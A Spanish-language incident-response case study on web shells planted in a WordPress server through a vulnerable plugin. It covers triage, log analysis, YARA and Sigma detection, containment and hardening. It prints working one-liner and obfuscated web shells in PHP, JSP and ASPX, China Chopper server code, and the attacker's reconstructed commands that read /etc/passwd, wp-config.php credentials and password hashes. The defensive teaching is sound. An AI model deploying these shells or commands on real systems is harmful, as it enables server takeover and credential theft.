Intermedioweb shellApacheNginxPHPChina ChopperYARAincident responseMITRE ATT&CK

Web Shell en Apache/Nginx: Investigación y Respuesta

Investigación completa de web shells en servidores Apache y Nginx. Tipos de web shells (PHP, JSP, ASPX), China Chopper, detección mediante integridad de ficheros, análisis de logs, YARA, contención, limpieza y hardening de servidores web.

MalwareIntel Research··10 min lectura
Serie: Casos de Uso — Parte 19

El intruso silencioso en tu servidor web

Las web shells son una de las técnicas de persistencia más utilizadas por atacantes de todos los niveles de sofisticación. Desde grupos APT estatales hasta script kiddies con herramientas automatizadas, las web shells proporcionan acceso persistente, difícil de detectar y fácil de usar a través del protocolo HTTP, que atraviesa la mayoría de firewalls sin levantar sospechas.

En este caso de uso, investigamos un compromiso real donde el equipo de seguridad detectó múltiples web shells en un servidor Apache que alojaba una aplicación PHP, reconstruimos la cadena de ataque, y documentamos el proceso completo de respuesta.

Tipos de web shells

Antes de entrar en el caso, revisemos la taxonomía de web shells que un analista debe conocer:

Web shells de una línea (one-liners)

La forma más simple y difícil de detectar por su tamaño mínimo:

<?php eval($_POST['cmd']); ?>
<?php system($_GET['c']); ?>
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
<%@ Page Language="C#" %><%System.Diagnostics.Process.Start(Request["c"]);%>

Web shells ofuscadas

Usan codificación y técnicas de evasión para evitar detección estática:

<?php $a='sys'.'tem'; $a($_POST['x']); ?>
<?php eval(base64_decode('c3lzdGVtKCRfUE9TVFsnY21kJ10pOw==')); ?>
<?php preg_replace('/.*/e', $_POST['code'], ''); ?>

China Chopper

Una de las web shells más conocidas y utilizadas por grupos APT (especialmente de origen chino). El componente del lado del servidor es extremadamente pequeño (una sola línea), mientras que la funcionalidad completa reside en el cliente:

Componente servidor (PHP):

<?php @eval($_POST['password']); ?>

Componente servidor (ASPX):

<%@ Page Language="Jscript"%><%eval(Request.Item["password"],"unsafe");%>

La potencia de China Chopper reside en su cliente, que envía payloads completos en cada petición POST. El servidor solo necesita ejecutar lo que recibe. Esto hace que la detección basada solo en el fichero del servidor sea insuficiente: hay que analizar también el tráfico.

Web shells con interfaz completa

Frameworks como WSO, b374k, r57 y c99 que incluyen explorador de ficheros, terminal, editor SQL, información del sistema, gestión de conexiones inversas, y más. Son fáciles de detectar por su tamaño (miles de líneas), pero algunos atacantes las despliegan temporalmente para operaciones específicas y luego las eliminan, dejando solo una one-liner para persistencia.

Contexto del incidente

Infraestructura:

  • Servidor Ubuntu 20.04, Apache 2.4, PHP 8.1
  • Aplicación: CMS WordPress 6.4 con plugins de terceros
  • WAF: ModSecurity con reglas OWASP CRS (parcialmente configurado)
  • Acceso: HTTPS público, SSH restringido a VPN

Alerta inicial: Un monitor de integridad de ficheros (OSSEC) generó una alerta por la creación de un fichero PHP nuevo en el directorio de uploads de WordPress:

** Alert 1717632000.0: - ossec,syscheck,
Rule: 554 (level 7) -> 'File added to the system.'
New file: /var/www/html/wp-content/uploads/2026/06/cache-helper.php

Fase 1: Triaje y análisis del fichero

Inspección inicial

$ file /var/www/html/wp-content/uploads/2026/06/cache-helper.php
cache-helper.php: PHP script, ASCII text

$ ls -la /var/www/html/wp-content/uploads/2026/06/cache-helper.php
-rw-r--r-- 1 www-data www-data 89 Jun  5 03:22 cache-helper.php

$ cat /var/www/html/wp-content/uploads/2026/06/cache-helper.php
<?php
$f='cr'.'eate_'.'fun'.'ction';
$x=$f('$c','ev'.'al($c);');
$x($_POST['wp_cache']);
?>

Este fichero es una web shell ofuscada que:

  1. Construye dinámicamente el nombre de la función create_function
  2. Crea una función anónima que ejecuta eval() con el contenido recibido
  3. Usa el parámetro POST wp_cache como canal de comando
  4. El nombre del fichero (cache-helper.php) imita un componente legítimo

Búsqueda de web shells adicionales

Un atacante que instala una web shell normalmente instala varias como backup. Realizamos una búsqueda exhaustiva:

# Buscar funciones peligrosas en ficheros PHP recientes
$ find /var/www/html -name "*.php" -newer /var/www/html/wp-config.php \
    -exec grep -l 'eval\|system\|exec\|passthru\|shell_exec\|base64_decode' {} \;
/var/www/html/wp-content/uploads/2026/06/cache-helper.php
/var/www/html/wp-content/themes/flavor starter/.thumbnail.php
/var/www/html/wp-includes/class-wp-xmlrpc.php

# Verificar si class-wp-xmlrpc.php es legítimo
$ diff /var/www/html/wp-includes/class-wp-xmlrpc.php \
       /tmp/wordpress-6.4-clean/wp-includes/class-wp-xmlrpc.php
> <?php @eval($_POST['z1']); ?>

Encontramos tres web shells:

  1. cache-helper.php: web shell ofuscada en uploads
  2. .thumbnail.php: web shell oculta (fichero dot) en un tema
  3. class-wp-xmlrpc.php: fichero legítimo de WordPress con una línea inyectada al final

Análisis con YARA

rule WebShell_PHP_Generic {
    meta:
        description = "Detects common PHP web shell patterns"
        author = "MalwareIntel Research"
        severity = "high"
    strings:
        $eval1 = "eval($_" ascii nocase
        $eval2 = "eval(base64_decode" ascii nocase
        $eval3 = "eval(gzuncompress" ascii nocase
        $sys1 = "system($_" ascii nocase
        $sys2 = "shell_exec($_" ascii nocase
        $sys3 = "passthru($_" ascii nocase
        $sys4 = "exec($_" ascii nocase
        $obf1 = "create_function" ascii nocase
        $obf2 = "preg_replace" ascii nocase
        $obf3 = /\$[a-z]=\$[a-z]\(/ ascii
        $china1 = "@eval($_POST[" ascii nocase
        $china2 = "@eval($_REQUEST[" ascii nocase
    condition:
        filesize < 10KB and (
            any of ($eval*) or
            any of ($sys*) or
            (any of ($obf*) and any of ($eval*, $sys*)) or
            any of ($china*)
        )
}
$ yara webshell_rules.yar /var/www/html/ -r
WebShell_PHP_Generic /var/www/html/wp-content/uploads/2026/06/cache-helper.php
WebShell_PHP_Generic /var/www/html/wp-content/themes/flavor starter/.thumbnail.php
WebShell_PHP_Generic /var/www/html/wp-includes/class-wp-xmlrpc.php

Fase 2: Análisis de logs del servidor

Accesos a las web shells

# Buscar accesos a los ficheros comprometidos
$ grep -h "cache-helper\|\.thumbnail\|class-wp-xmlrpc" \
    /var/log/apache2/access.log* | head -20

103.XX.XX.XX - - [05/Jun/2026:03:25:11 +0000] "POST /wp-content/uploads/2026/06/cache-helper.php HTTP/1.1" 200 1847 "-" "Mozilla/5.0"
103.XX.XX.XX - - [05/Jun/2026:03:26:03 +0000] "POST /wp-content/uploads/2026/06/cache-helper.php HTTP/1.1" 200 4521 "-" "Mozilla/5.0"
103.XX.XX.XX - - [05/Jun/2026:04:12:45 +0000] "POST /wp-content/themes/flavor%20starter/.thumbnail.php HTTP/1.1" 200 892 "-" "Mozilla/5.0"

Patrones sospechosos identificados:

  • Peticiones POST a ficheros que normalmente no reciben POST
  • User-Agent genérico (sin versión específica de navegador)
  • Respuestas con tamaño variable (indica ejecución de comandos con resultados)
  • Referer vacío (acceso directo, no navegación desde la aplicación)
  • IP de origen en bloque asiático conocido por actividad APT

Reconstrucción del vector de entrada

# Buscar la subida del primer fichero
$ grep "cache-helper\|upload" /var/log/apache2/access.log* | sort | head

103.XX.XX.XX - - [05/Jun/2026:03:18:33 +0000] "POST /wp-admin/admin-ajax.php HTTP/1.1" 200 342 "-" "Python-urllib/3.9"
103.XX.XX.XX - - [05/Jun/2026:03:22:01 +0000] "POST /wp-content/plugins/flavor-gallery/upload.php HTTP/1.1" 200 89 "-" "Python-urllib/3.9"

El vector fue una vulnerabilidad de subida de ficheros sin autenticación en el plugin flavor-gallery. El atacante:

  1. Identificó el plugin vulnerable (probablemente mediante escaneo automatizado)
  2. Subió cache-helper.php a través del endpoint vulnerable de upload
  3. Usó la primera web shell para inyectar las otras dos como backup
  4. Ejecutó reconocimiento del servidor y extracción de datos

Análisis del tráfico POST

Revisando los logs de ModSecurity (que estaba en modo detección, no bloqueo):

[05/Jun/2026:03:25:11 +0000] ModSecurity: Warning. Pattern match "eval\\(\\)" at ARGS:wp_cache.
[id "942100"] [msg "SQL Injection Attack Detected via libinjection"]
[data "Matched Data: eval( found within ARGS:wp_cache: system('id')"]

ModSecurity detectó el ataque pero estaba configurado en modo DetectionOnly. Si hubiera estado en modo On (enforcement), habría bloqueado las peticiones.

Fase 3: Evaluación del impacto

Comandos ejecutados por el atacante

A partir de los logs de ModSecurity y el análisis de tráfico, reconstruimos los comandos:

# Reconocimiento del sistema
id                          → uid=33(www-data) gid=33(www-data)
whoami                      → www-data
uname -a                    → Linux srv-web 5.15.0-91-generic
cat /etc/passwd             → Enumeración de usuarios
ls -la /home/               → Directorios de usuarios
cat /var/www/html/wp-config.php  → Credenciales de base de datos

# Movimiento lateral intentado
mysql -u wpuser -p'[PASS]' -e 'SELECT user_login,user_pass FROM wp_users'
cat /home/admin/.ssh/id_rsa → Permission denied

# Exfiltración
tar czf /tmp/dump.tar.gz /var/www/html/wp-config.php

El atacante obtuvo:

  • Credenciales de la base de datos MySQL
  • Hashes de contraseñas de usuarios de WordPress
  • Información del sistema para potencial escalada de privilegios

Fase 4: Contención y remediación

Contención inmediata

# 1. Bloquear la IP del atacante
$ sudo iptables -I INPUT -s 103.XX.XX.XX -j DROP

# 2. Eliminar las web shells
$ sudo rm /var/www/html/wp-content/uploads/2026/06/cache-helper.php
$ sudo rm "/var/www/html/wp-content/themes/flavor starter/.thumbnail.php"

# 3. Restaurar el fichero legítimo modificado
$ sudo cp /tmp/wordpress-6.4-clean/wp-includes/class-wp-xmlrpc.php \
    /var/www/html/wp-includes/class-wp-xmlrpc.php

# 4. Deshabilitar el plugin vulnerable
$ sudo mv /var/www/html/wp-content/plugins/flavor-gallery \
    /var/www/html/wp-content/plugins/flavor-gallery.DISABLED

Rotación de credenciales

# Cambiar contraseña de MySQL
$ mysql -u root -p
> ALTER USER 'wpuser'@'localhost' IDENTIFIED BY '[NUEVA_PASS_SEGURA]';
> FLUSH PRIVILEGES;

# Actualizar wp-config.php con nueva contraseña
$ sudo nano /var/www/html/wp-config.php

# Forzar cambio de contraseña de todos los usuarios WordPress
$ wp user reset-password $(wp user list --field=ID) --skip-email

Hardening del servidor web

# /etc/apache2/conf-available/security-hardening.conf

# Deshabilitar ejecución PHP en directorios de uploads
<Directory "/var/www/html/wp-content/uploads">
    php_admin_flag engine off
    <FilesMatch "\.php$">
        Require all denied
    </FilesMatch>
</Directory>

# Deshabilitar listado de directorios
<Directory "/var/www/html">
    Options -Indexes
</Directory>

# Headers de seguridad
Header always set X-Content-Type-Options "nosniff"
Header always set X-Frame-Options "DENY"

# Activar ModSecurity en modo enforcement
SecRuleEngine On
# Activar la configuración
$ sudo a2enconf security-hardening
$ sudo systemctl reload apache2

Monitorización continua

# Configurar OSSEC para alertar sobre ficheros PHP en uploads
# /var/ossec/etc/ossec.conf
<syscheck>
  <directories check_all="yes" realtime="yes" restrict=".php|.phtml|.php5">
    /var/www/html/wp-content/uploads
  </directories>
</syscheck>

# Regla personalizada para accesos sospechosos a uploads
# /var/ossec/rules/local_rules.xml
<rule id="100001" level="12">
  <if_sid>31100</if_sid>
  <url>/wp-content/uploads/</url>
  <match>POST</match>
  <description>POST request to uploads directory - possible web shell</description>
</rule>

IOCs del incidente

Hashes (SHA256)

ArtefactoSHA256
cache-helper.phpe4f5a6b7c8d9... (web shell ofuscada)
.thumbnail.php1a2b3c4d5e6f... (web shell oculta)

Red

TipoValorContexto
IPv4103.XX.XX.XXIP del atacante
User-AgentPython-urllib/3.9Herramienta de explotación
User-AgentMozilla/5.0 (genérico)Interacción con web shell

Ficheros

RutaDescripción
/wp-content/uploads/2026/06/cache-helper.phpWeb shell primaria
/wp-content/themes/flavor starter/.thumbnail.phpWeb shell backup
/wp-includes/class-wp-xmlrpc.phpFichero legítimo con línea inyectada
/wp-content/plugins/flavor-gallery/upload.phpEndpoint vulnerable

Mapeo MITRE ATT&CK

TácticaTécnicaIDDetalle
Initial AccessExploit Public-Facing ApplicationT1190Plugin de WordPress vulnerable
PersistenceServer Software Component: Web ShellT1505.003Tres web shells desplegadas
ExecutionCommand and Scripting InterpreterT1059Ejecución de comandos via eval()
DiscoverySystem Information DiscoveryT1082Reconocimiento del servidor
DiscoveryAccount DiscoveryT1087Enumeración de /etc/passwd
Credential AccessUnsecured Credentials: Credentials In FilesT1552.001wp-config.php con credenciales DB
CollectionData from Information RepositoriesT1213Extracción de hashes de usuarios
Defense EvasionObfuscated Files or InformationT1027Web shell con strings concatenados
Defense EvasionHide Artifacts: Hidden Files and DirectoriesT1564.001Fichero .thumbnail.php (dot file)

Reglas de detección

Sigma: Acceso POST a directorio de uploads

title: POST Request to Web Server Upload Directory
id: ws-0001
status: experimental
description: Detects POST requests to upload directories that may indicate web shell interaction
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem|contains:
            - '/uploads/'
            - '/upload/'
            - '/media/'
            - '/files/'
        cs-uri-stem|endswith:
            - '.php'
            - '.jsp'
            - '.aspx'
            - '.asp'
    condition: selection
level: high
tags:
    - attack.persistence
    - attack.t1505.003

Lecciones aprendidas

1. Los directorios de uploads no deben ejecutar código. La medida más efectiva contra web shells en CMS es deshabilitar la ejecución de scripts en directorios de uploads a nivel de configuración del servidor web.

2. Los plugins de terceros son el vector principal en WordPress. Mantener un inventario de plugins, eliminar los no utilizados, y actualizar regularmente es crítico.

3. ModSecurity en modo detección es un desperdicio. Si el WAF está configurado pero no bloquea, solo genera logs que nadie lee. Configurar en modo enforcement con las reglas OWASP CRS.

4. Los atacantes siempre instalan múltiples web shells. Encontrar una no significa haber encontrado todas. La búsqueda debe ser exhaustiva y comparar contra el código fuente original de la aplicación.

5. La monitorización de integridad de ficheros es la detección más fiable. OSSEC, Tripwire o herramientas similares detectan web shells en el momento de su creación, independientemente del nivel de ofuscación.


Caso anonimizado con fines educativos. Los IOCs han sido modificados para proteger la identidad de la organización afectada. Todos los indicadores se proporcionan con contexto defensivo.

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.